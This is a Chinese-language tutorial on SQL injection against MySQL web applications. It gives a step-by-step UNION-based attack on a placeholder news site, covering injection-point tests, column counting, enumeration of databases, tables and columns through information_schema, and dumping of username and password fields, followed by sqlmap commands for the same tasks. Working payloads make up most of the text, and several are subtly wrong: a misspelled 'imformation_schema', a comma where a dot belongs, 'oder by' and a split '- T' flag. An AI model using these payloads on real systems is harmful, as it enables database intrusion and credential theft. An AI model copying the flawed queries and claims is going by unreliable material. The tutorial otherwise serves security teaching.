SQL注入漏洞原理與利用
SQL注入漏洞原理與利用
SQL注入漏洞流程
- 判斷注入類型
- 判斷字段個數
- 查詢回顯位
- 查詢數據庫名
- 查詢表、字段名
- 查詢內容
判斷注入類型
1.數字型注入點判斷
當要輸入的參數x為數字型時,后端腳本中的SQL語句類型大致如下:
select * from <表名> where id=x;
數字類型可以使用 and 1=1 和 and 1=2 來判斷;
Url地址中http://XXX.cn/?id=x and 1=1 頁面依舊運行正常,繼續進行下一步;Url地址中http://XXX.cn/?id=x and 1=2 頁面運行錯誤,則說明此Sql注入為數字型注入。
2.字符型注入點判斷
當要輸入的參數x為字符型時,后端腳本中的SQL語句類型大致如下:
select * from <表名> where id='x';
字符類型可以使用 單引號 來判斷;
Url地址中輸入http://XXX.cn/?id=x'頁面運行錯誤,繼續進行下一步;Url地址中繼續輸入http://XXX.cn/?id=x ’%23頁面運行正常,則說明此Sql注入為字符型注入。
判斷字段個數
利用oder by x 的語法來判斷
Select * from users where id=1 order by 1
Select * from users where id=1 order by 2
Select * from users where id=1 order by 3
數字的含義:代表需要從第幾個字段來排序
MySQL 的 ORDER BY 子句來設定你想按哪個字段哪種方式來進行排序,再返回搜索結果。
查詢回顯位
http://XXX.com/?id = 1 and 1=2 union select 1,2,3,4
MySQL UNION 操作符用于連接兩個以上的SELECT語句的結果組合到一個結果集合中。多個SELECT語句會刪除重復的數據。
查詢數據庫名
利用Mysql數據庫的函數來查詢 Select database();
查詢表、字段名
利用Mysql數據庫的特性來查詢
Mysql5以上的版本,會有一個數據庫存放著所有數據庫的表名、字段名等內容。
在SQL注入中,會經常對MYSQL數據庫的information_schema數據庫中的一些表進行查詢,以此來獲得自己想要的信息。
常用的表有:
SCHEMATA表:提供了當前mysql實例中所有數據庫的信息。是show databases的結果取之此表。
TABLES表:提供了關于數據庫中的表的信息(包括視圖)。詳細表述了某個表屬于哪個schema,表類型,表引擎,創建時間等信息。是show tables from schemaname的結果取之此表。
COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename 的結果取之此表。
查詢內容
?id = -1 union select 1,CONCAT(username,'-',password)from users
MySQL 的CONCAT()函數用于將多個字符串連接成一個字符串。
基于報錯的檢測方法
' "%()
基于布爾的檢測
1' and '1'='1 / 1'and '1
1' and '1'='2 /1' and '0
表列名/顯示位置位于哪一列
’order by 9-- #按3查詢列號排序(注釋符:-)
select * 時表字段數=查詢字段數
聯合查詢
'union select 1,2--+
'union all select database(),2--+
DB用戶:user()
DB版本:version()
全局函數:@@datadir、@@hostname、@@VERSION、@@version compile os
當前庫:database()
ASCII轉字符:char()
mysql數據結構 information_schema
SQL注入漏洞
1.頁面訪問:http://XXX.com/new_list.php?id=1
數據庫:select * from news where id=1
頁面狀態:返回內容正常
說明:正常瀏覽頁面,找到有參數的地方,比如id
2.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=1
數據庫:select * from news where id=1 and 1=1
頁面狀態:返回內容正常
說明:測試是否存在SQL語句及類型
3.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2
數據庫:select * from news where id=1 and 1=2
頁面狀態:返回內容異常
說明:SQL語句中,1=2不成立,存在數字型的SQL漏洞
4.頁面訪問:http://XXX.com/new_list.php?id=1 order by 1
數據庫:select * from news where id=1 order by 1
頁面狀態:返回內容正常
說明:通過order by N來判斷有幾個字段,返回內容正常,可以確定至少有1個字段。
5.頁面訪問:http://XXX.com/new_list.php?id=1 order by 2
數據庫:select * from news where id=1 order by 2
頁面狀態:返回內容正常
說明:通過order by N來判斷有幾個字段,返回內容正常,可以確定至少有2個字段。
6.頁面訪問:http://XXX.com/new_list.php?id=1 order by 3
數據庫:select * from news where id=1 order by 3
頁面狀態:返回內容正常
說明:通過order by N來判斷有幾個字段,返回內容正常,可以確定至少有3個字段。
7.頁面訪問:http://XXX.com/new_list.php?id=1 order by 4
數據庫:select * from news where id=1 order by 4
頁面狀態:返回內容正常
說明:通過order by N來判斷有幾個字段,返回內容正常,可以確定至少有4個字段。
8.頁面訪問:http://XXX.com/new_list.php?id=1 order by 5
數據庫:select * from news where id=1 order by 5
頁面狀態:返回內容異常
說明:通過order by N來判斷有幾個字段,返回內容異常,說明有4個字段。
9.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,2,3,4
數據庫:select * from news where id=1 and 1=2 union select 1,2,3,4
頁面狀態:在原來的標題位置顯示為2,內容的位置顯示為3
說明:通過SQL語句中and 1=2 union select 1,2,3......,n聯合查詢,判斷顯示的是哪些字段,就是原本顯示標題和內容時候的查詢字段,原來的查詢應該是Select id,title,contents,times from news where id=1,也就是說title標題是第2個位置顯示,contents內容是在第三個位置顯示。
10.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,database(),version(),4
數據庫:select * from news where id=1 and 1=2 union select 1,database(),version(),4
頁面狀態:在原來的標題位置顯示為數據庫名稱,內容的位置顯示為操作系統版本
說明:database()是查詢當前數據庫的名稱,一個服務器上可能有多個數據庫,version()是查詢當前數據的版本。
11.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
數據庫:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
頁面狀態:在原來的標題位置顯示為數據庫名稱,內容的位置顯示為3
說明:這里涉及到數據庫information_schema、表SCHEMATA、列SCHEMA_NAME三個內容,數據庫information_schema是MySQL系統自帶的數據庫,其中記錄了當前數據庫系統中大部分我們需要了解的信息,比如字符集,權限相關,數據庫實體對象信息,外檢約束,分區,壓縮表,表信息,索引信息,參數,優化,鎖和事物等等。就是這個默認自帶的數據中,存儲了MySQL的數據庫名字、表名字、列名字和其他信息,通過information_schema我們可以查看整個MySQL實例的情況。獲取到的為第一個數據庫名稱。
12.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1
數據庫:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1
頁面狀態:在原來的標題位置顯示為數據庫名稱,內容的位置顯示為3
說明:limit 4,1意思是從第四行起,取1行數據,為獲取第5個數據庫名稱。
13.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1
數據庫:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1
頁面狀態:返回內容為空
說明:limit 5,1意思是從第5行起,取1行數據,返回為空,說明只有5個數據庫。
14.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 0,1
數據庫:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 0,1
頁面狀態:在原來的標題位置顯示為表名,內容的位置顯示為3
說明:查詢對應當前數據庫的第1個數據的表名,limit0,1取到的是第一個表名 。
15.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 1,1
數據庫:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 1,1
頁面狀態:在原來的標題位置顯示為表名,內容的位置顯示為3
說明:查詢對應當前數據庫的第1個數據的表名,limit0,1取到的是第2個表名 。
16.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 2,1
數據庫:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 2,1
頁面狀態:返回內容為空
說明:說明當前數據庫只有兩個表。
17.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 0,1
數據庫:select * from news where id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 0,1
頁面狀態:在原來的標題上顯示列名,內容的位置顯示為類型
說明:查詢數據庫‘ ’ 的表‘ ’ 中的第一個字段名稱與類型。
18.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 1,1
數據庫:select * from news where id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 1,1
頁面狀態:在原來的標題上顯示列名,內容的位置顯示為類型
說明:查詢數據庫‘ ’ 的表‘ ’ 中的第2個字段名稱與類型。
19.頁面訪問:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from 庫名.表名
數據庫:select * from news where id=-1 union select 1,count(*),3,4 from 庫名.表名
頁面狀態:在原來的標題上顯示2,內容的位置顯示為3
說明:查詢數據庫‘ ’ 的表‘ ’ 中的數據總數,共有2條數據。
20.頁面訪問:http://XXX.com/new_list.php?id=-1 union select 1,concat(name,'-',password,'-',status) from 庫名.表名 limit 0,1
數據庫:select * from news where id=-1 union select 1,concat(name,'-',password,'-',status) from 庫名.表名 limit 0,1
頁面狀態:在原來的標題上顯示xx-xx-xx,內容的位置顯示為3
說明:查詢數據庫‘ ’ 的表‘ ’ 中的第一條數據的name、password、status的內容,三者之間用-連接起來,CONCAT是把產生的字符串連接起來。獲取第一條數據的內容。
密碼一般都是采用字符加密的方式在數據庫中存儲,拿到加密的密文后,需要分析密碼的加密方式,然后去找相對應的系統去‘破解’,拿到明文密碼。
常用工具:Sqlmap
測試注入: python sqlmap.py -u 'url'
注數據庫:python sqlmap.py -u 'url' --dbs
注當前數據庫:python sqlmap.py -u 'url' --current-db
注表名:python sqlmap.py -u 'url' -D 庫名 --tables
注列名:python sqlmap.py -u 'url' -D 庫名 - T 表名 --columns
注數據:python sqlmap.py -u 'url' -D 庫名 - T 表名 -C 列名 --dump
浙公網安備 33010602011771號